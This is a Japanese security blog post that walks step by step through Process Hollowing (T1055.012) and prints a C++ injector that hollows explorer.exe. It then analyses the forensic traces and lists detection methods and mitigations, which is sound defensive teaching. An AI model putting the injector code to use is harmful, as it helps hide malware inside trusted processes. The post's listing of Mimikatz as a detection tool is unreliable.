Process Hollowing: 攻撃技術と検出戦略
🤔1. Process Hollowingとは?
Process Hollowingは、T1055.012として分類されるProcess Injectionのサブテクニックであり、
正規のプロセスのメモリアドレス空間を破損させ、マルウェアを実行する手法を指します。
🕵️♂️ 主に権限昇格や検知回避を目的として使用され、代表的な例としてMeterpreterやCobalt Strikeなどの攻撃ツールで活用されます。
攻撃者は、正規の実行ファイルをロードした後、そのメモリ内のコードを悪意のあるペイロードに上書きすることで動作します。
この手法は、セキュリティソリューションによって検知されにくいです。
🚨 なぜなら、実行中のプロセスが正規のファイルと同じパスを持ち、署名された合法的なプログラムに見えるためです。
[写真 1] Process Hollowing
🛠️2. Process Hollowingの主要な手順
Process Hollowingは、一般的に以下の手順で実行されます。
2-1) プロセスを一時停止状態で作成する
[写真 2] Process Hollowing Step 1
[写真 3] Process Hollowing Step 1 (code)
正常なプロセスであるexplorer.exeを実行する。
2-2) プロセスのImageBaseアドレスを取得する。
[写真 4] Process Hollowing Step 2
[写真 5] Process Hollowing Step 2 (code)
新しく作成されたプロセスのイメージベースアドレスを取得する。
2-3) プロセスのImageBaseアドレスをUnmappingする。
[写真 6] Process Hollowing Step 3
[写真 7] Process Hollowing Step 3 (code)
元々実行されていたexplorer.exeのメモリをアンマップし、空の状態にする。
2-4) プロセスのImageBaseアドレスに新しいイメージをマッピングする。
[사진 8] Process Hollowing Step 4
[写真 9] Process Hollowing Step 4 (code1)
[写真 10] Process Hollowing Step 4 (code2)
- injectorオブジェクトを使用して、**マルウェアコード(malwareTarget)**を正規プロセスに注入する準備を行う。
- malwareTarget(サイズ: 2,203,648バイトのPEバイナリ)をpeクラスを使用してロードする。
injector.alloc(malwr_size, imagebase, false);
- 元のプロセスが使用していた領域(imagebase)に、マルウェアコードのサイズ分のメモリを割り当てる。
2-5) 一時的なメモリ領域を確保する。
[写真 11] Process Hollowing Step 5
[写真 12] Process Hollowing Step 5 (code)
- PEファイルをロードするための新しいメモリ領域を確保する。
getRelativeOffset
を使用して、**再配置情報(Relocation Offset)**を計算する。- 新しいベースアドレスをマルウェアコードに設定する。
2-6) 一時的に確保したメモリ領域にマルウェアPEファイルのヘッダーを書き込む。
[写真 13] Process Hollowing Step 6
[写真 14] Process Hollowing Step 6 (code)
プロセスが正常に実行できるように、PEファイルのヘッダー(Header)情報を最初に書き込む。
2-7) 一時的に確保したメモリ領域にマルウェアPEファイルのセクションを書き込む。
[写真 15] Process Hollowing Step 7
[写真 16] Process Hollowing Step 7 (code)
- PEファイルは、ヘッダー(Header)+ セクション(Section)構造で構成されている。
getFirstSection()
を使用して最初のセクションを取得し、writeSection()
を用いて各セクションをコピーする。getNextSection(currentSection)
を使用して、すべてのセクションを順番に書き込む。
2-8) ImageBaseを基準にマルウェアPEファイルのコードとデータを再配置する。
[写真 17] Process Hollowing Step 8
[写真 18] Process Hollowing Step 8 (code)
- PEファイルが新しいメモリアドレスにロードされたため、元々想定されていたベースアドレスと異なる可能性がある。
relocate()
関数を使用し、相対オフセットを適用することで、正しく実行できるように修正する。
2-9) 再配置が完了したマルウェアPEファイルを正規PEファイルのメモリ領域に書き込む。
[写真 19] Process Hollowing Step 9
[写真 20] Process Hollowing Step 9 (code1)
[写真 21] Process Hollowing Step 9 (code2)
injector.write()
を使用して、PEファイル全体を正規プロセスのメモリに書き込む。patchEntryPoint()
を使用して、元のプロセスのエントリーポイントをマルウェアコードのエントリーポイント(Entry Point)に変更する。
2-10) コードの開始アドレスをImageBaseを基準に修正した後、プロセスを再開する。
[写真 22] Process Hollowing Step 10
[写真 23] Process Hollowing Step 10 (code)
resume()
を呼び出し、停止状態だったプロセスを再実行する。- しかし、この時点から実行されるコードは、元のexplorer.exeではなく、マルウェアコードとなる。
Process Hollowingの手順まとめ
- 正規プロセス(explorer.exe)を実行
- 既存のPEイメージをアンマップして削除
- マルウェアコード注入のためのメモリ割り当て
- PEファイルをロードし、ヘッダー&セクションデータをコピー
- 再配置(Relocation)を適用
- エントリーポイント(Entry Point)を変更
- プロセスを再開 → 正規プロセスに偽装して実行
[写真 24] 使用されたhollow_test.exeをVirusTotalにアップロードした結果、23/71のエンジンでマルウェアとして検出。
使用されたProcess Hollowingコード
#include <Windows.h>
#include "process_.h"
#include "injector.h"
#include "pe.h"
WCHAR wszProcessPath[] = L"explorer.exe";
unsigned char malwareTarget[2203648] = { // explorer.exeのバイナリ値 }
int WINAPI WinMain(
HINSTANCE hInstance,
HINSTANCE hPrevInstance,
PSTR lpCmdLine,
INT nCmdShow
)
{
process normalProcess;
if (normalProcess.create(wszProcessPath, true, false))
{
ULONG_PTR imagebase = normalProcess.imagebase();
if (normalProcess.unmap(imagebase, false)) // Step3
{
injector injector(normalProcess.handle());
pe malwr(malwareTarget, 2203648);
ULONG malwr_size = malwr.imageSize();
LONG_PTR relativeOffset = 0;
ULONG_PTR malwrAddr = injector.alloc(malwr_size, imagebase, false); // Step4: target process メモリ割り当て
if (malwrAddr != 0)
{
ULONG_PTR buildAddr = malwr.memAlloc(malwr_size); // Step5
relativeOffset = malwr.getRelativeOffset(malwrAddr);
malwr.setImagebase(malwrAddr);
injector.writeHeader(buildAddr, (ULONG_PTR)malwr.peHeader(), malwr.peHeaderSize()); // Step6: ### ヘッダーの記録
// Step 7
ULONG_PTR currentSection = malwr.getFirstSection();
for (int nSection = 0; nSection < malwr.numberOfSection(); ++nSection)
{
injector.writeSection(buildAddr, (ULONG_PTR)malwr.peHeader(), currentSection);
currentSection = malwr.getNextSection(currentSection);
}
// Step 8: relocate
malwr.relocate(buildAddr, relativeOffset);
// Step 9, 10
injector.write(malwrAddr, buildAddr, malwr_size, false);
normalProcess.patchEntryPoint(malwrAddr, malwr.addressOfEntryPoint());
normalProcess.resume();
}
}
}
return 0;
}
3. 作成したProcess Hollowingプログラムの実行画面
[写真 25] hollow_test.exe 実行画面
[写真 26] プロセス一覧
Process Hackerを使用してプロセスの一覧を確認した結果、hollow_test.exe
プロセスの下に
explorer.exe(ファイルエクスプローラー)
および conhost.exe
が存在していることを確認できた。
🔍 プロセス分析
a. hollow_test.exe
内部で別の explorer.exe
が実行
- 本来、
explorer.exe
はシステムによって自動的に実行されるプロセスだが、
特定の実行ファイル(hollow_test.exe
)が親プロセスとしてexplorer.exe
を実行したことは非常に疑わしい動作である。 - これは通常の実行方式ではなく、マルウェアがHollowing手法を利用して正規プロセスを偽装した可能性を示唆している。
b. conhost.exe
の存在
conhost.exe
はコンソールプログラムをサポートする正規のWindowsプロセスだが、
hollow_test.exe
の配下で実行されている点が特異である。- マルウェアが
conhost.exe
を利用してシェルコマンドを実行するケースもあるため、注意が必要。
c. CPUおよびメモリ使用量の分析
hollow_test.exe
のCPU使用率が高くない場合、マルウェアがバックグラウンドで静かに動作している可能性がある。WriteProcessMemory
、SetThreadContext
、ResumeThread
などのAPI呼び出しを監視し、
追加のHollowingが発生していないかを確認する必要がある。
[写真 27] explorer.exe
プロセスが2つ存在することを確認
1️⃣ 分析ポイント
1) explorer.exe
プロセスが2つ存在
- Windowsでは通常、1つの
explorer.exe
が実行される。 explorer.exe
が複数存在する場合、マルウェアがHollowing手法を使用した可能性がある。
2) Parent-Child関係およびプロセス生成の確認
- 上記の画像では、PID 9728 の
explorer.exe
が PID 2296 のexplorer.exe
の 子プロセス として実行されている。 explorer.exe
が別のexplorer.exe
の子プロセスとして生成されるのは通常の動作ではない。- これは、攻撃者が正規の
explorer.exe
を Hollowing して実行した可能性が高い。
3) メモリ使用量と実行サイズの差異
- PID 2296 (
explorer.exe
): 86.25MB メモリ使用 - PID 9728 (
explorer.exe
): 5.05MB メモリ使用 - 通常、
explorer.exe
は多くのメモリを消費するが、5.05MBしか使用していないexplorer.exe
は、
Hollowingによって正規のPEがロードされていない可能性が高い。
[写真 28] 2つの explorer.exe
プロセス分析
1️⃣ 分析ポイント
✅ (1) 正常な explorer.exe
(PID 2296)
- パス:
C:\Windows\Explorer.EXE
(正規のシステムファイルのパス) - 実行場所:
C:\Windows\system32\
- 実行開始: 3か月前 (2024-10-30)
→ 正常なexplorer.exe
は通常 Windows 起動時に実行されるため、長時間実行されているのが正常。 - 親プロセス:
Non-existent process (PID 4088)
→explorer.exe
は通常winlogon.exe
によって起動されるため、親プロセスが存在しないのは正常な場合が多い。
🚨 (2) 疑わしい explorer.exe
(PID 9728)
- パス:
C:\Windows\explorer.exe
(正規のファイルのように見えるが、実行方法が異なる) - 実行場所:
C:\Users\user\Desktop\hollow_test\x64\Debug\
→ ❗ 正規のexplorer.exe
はsystem32
で実行されるべきだが、デスクトップ上のhollow_test.exe
によって実行された。 - 実行開始: 3日20時間前 (2025-02-05)
→ システム起動とは無関係なタイミングで新しくexplorer.exe
が実行されている。 - 親プロセス:
hollow_test.exe (PID 2196)
→ ❗explorer.exe
は通常winlogon.exe
によって起動されるが、別のプロセス (hollow_test.exe
) が親プロセスとして設定されている。
→ Process Hollowing 攻撃手法でよく見られるパターンである。
2️⃣ Process Hollowing の疑わしい証拠
📌 Hollowing の可能性が高い理由:
-
hollow_test.exe
が Parent Process に設定されている
→ これは通常のexplorer.exe
の実行方式とは異なる。 -
explorer.exe
が異常なパス(デスクトップの Debug フォルダ)から実行されている
→ 通常のexplorer.exe
はC:\Windows\system32\
から実行されるべきだが、
別のディレクトリから起動されている点が不審。 -
explorer.exe
の実行時間が3日前で、手動で実行された可能性
→ Windows の起動プロセスとは無関係な実行履歴があり、不正なプロセス注入の疑いが強い。
[写真 29] 2つの explorer.exe
プロセス分析
1️⃣ スレッド(Thread)分析ポイント
✅ (1) 正常な explorer.exe
(PID 2296)
- TID(スレッドID)の数: 13個以上のスレッドが実行中。
- Start Address(開始アドレス):
SHCore.dll!Ordinal172+0x100
(Windows Shell 関連ライブラリ)ntdll.dll!TpReleaseCleanupGroupMembers
(スレッドプール関連)combase.dll!RoGetServerActivatableClassRegistration
(COM ベースサービス関連)WorkFoldersShell.dll!DllUnregisterServer
(WorkFolders 関連プロセス)- その他、
GdiPlus.dll
、SHCore.dll
などのシステム DLL から開始される正常な動作が確認される。
- スレッド優先度:
Above normal
を含む、さまざまな優先度のスレッドが存在。 - 解析結果:
- 正常な
explorer.exe
は Windows のさまざまなシステム機能を利用し、多数のスレッドを生成して動作する。 - これは Windows Shell およびエクスプローラーの正常なプロセス動作である。
- 正常な
🚨 (2) 疑わしい explorer.exe
(PID 9728)
- TID(スレッドID)の数: 4個のみで非常に少ない
- Start Address(開始アドレス):
explorer.exe+0xa3a10
→ ❗ バイナリコードから直接実行されたスレッド(疑わしい)ntdll.dll!TpReleaseCleanupGroupMembers
(一般的なWindows API)
- スレッド優先度: すべてのスレッドが
Normal
に設定されている。 - 解析結果:
- 正常な
explorer.exe
と比較すると、DLL ベースのスレッドがほとんど存在しない。 ntdll.dll
のTpReleaseCleanupGroupMembers
は通常の動作である可能性はあるが、
単一のAPI呼び出しのみでエクスプローラーが動作するのは不自然。- 最も疑わしい点は
explorer.exe+0xa3a10
のアドレスから直接実行されたスレッドが存在すること。- これは Process Hollowing によってマルウェアのペイロードがインジェクションされた際によく見られるパターン。
- 正常な
2️⃣ Process Hollowing の可能性および追加分析の必要性
📌 Hollowing の可能性が高い理由:
a. TID(スレッドID)数の違い
- 正常な
explorer.exe
(PID 2296) は 13個以上のさまざまなシステムスレッド を含む。 - 疑わしい
explorer.exe
(PID 9728) は 4個のみで、大部分がntdll.dll
から実行されている。
b. 異常な実行場所
explorer.exe+0xa3a10
は、明確な DLL ベースのスレッドではなく、
メモリ内部コードの実行形態 に見えるため、Hollowingの痕跡 として疑わしい。
c. 親プロセス (hollow_test.exe
) の存在
- 本来
explorer.exe
はwinlogon.exe
によって生成されるはず だが、
異常なプロセス (hollow_test.exe
) から実行されている ことが確認された。
このように、Process Hollowing 手法は表面的には正規プロセスと区別が難しく、単純な識別方法だけでは検出が困難です。
そのため、実行フローの詳細な分析やメモリ検査、スレッドパターンの比較など、高度なフォレンジック技術が必要となります。
🔎4. Process Hollowing の検出手法
Process Hollowing は高度な攻撃手法ですが、セキュリティソリューションではさまざまな方法で検出できます。
📡4-1) API呼び出しのモニタリング
CreateProcess
、NtUnmapViewOfSection
、VirtualAllocEx
、WriteProcessMemory
、
SetThreadContext
、ResumeThread
などのAPI呼び出しが連続して発生する場合、疑わしい動作と見なすべきです。
- EDRやSIEMログを分析し、これらのAPIの呼び出しパターンを監視することで、不審な挙動を検出できます。
🏴☠️4-2) 実行ファイルとメモリマッピングの比較
正規の実行ファイルとメモリ上でロードされている実行ファイルが異なる場合、Process Hollowing が発生している可能性が高いです。
SigCheck
を使用して、実行ファイルの署名と整合性を検証Volatility
を活用し、メモリ内の実行中プロセスを分析し、実行ファイルとの不一致を検出
🧩4-3) Parent-Child プロセス関係の分析
攻撃者が元のプロセスを停止し、新たな Hollowing されたプロセスを実行すると、Parent-Child 関係が異常に変化することがあります。
- 例:
explorer.exe
からcmd.exe
を実行するのは正常ですが、winlogon.exe
からpowershell.exe
が実行される場合は疑わしい。 Sysmon
を使用して Parent-Child 関係を追跡 することで、不審なプロセスの動作を検出できます。
📊4-4) コードインジェクションの検出
Process Hollowing の本質は、正規プロセス内にマルウェアコードを注入すること です。
これを検出するためには、プロセスのコード領域を定期的にスキャンし、実行可能なメモリページが変更されていないか確認 する必要があります。
Mimikatz
やPE-Sieve
を使用して、メモリ上の不審なコード挿入を検出 できます。
🛡️5. Process Hollowing の対策
Process Hollowing 攻撃を効果的に防ぐには、以下のセキュリティ対策を適用することが重要です。
5-1) EDRおよびSIEMソリューションの活用
- API呼び出しのパターン分析
- 実行ファイルの整合性チェック
- Parent-Child関係のモニタリング などを自動化し、攻撃をリアルタイムで検出
5-2) 攻撃対象領域の最小化
AppLocker
やWindows Defender Application Control (WDAC)
を活用し、疑わしい実行ファイルの実行を制限。- ASLR、DEP、CFG などのメモリ保護技術を有効にし、コードインジェクションを困難にする。
5-3) システムログ分析および検出フィルタの適用
Sysmon
やWindows Event Logging
を活用し、疑わしいAPI呼び出しを監視・フィルタリング
5-4) 定期的なフォレンジック分析の実施
Volatility
、Procmon
、PE-Sieve
を使用してシステムを定期的にスキャンし、不審な動作を分析
🏆6. 結論
Process Hollowing は攻撃者が頻繁に使用する強力なコードインジェクション技術ですが、
適切な検出手法を活用すれば、十分に対策することが可能です。
特に API呼び出しのモニタリング、実行ファイルとメモリの比較、Parent-Child関係の分析 を活用することで、攻撃を効果的に検出できます。
🔒 セキュリティ担当者は常に MITRE ATT&CK フレームワークの T1055(Process Injection)技術を分析し、検出フィルタを最新の状態に維持 する必要があります。
また、定期的なセキュリティレビューとフォレンジック分析を通じて、組織のセキュリティレベルを強化することが求められます。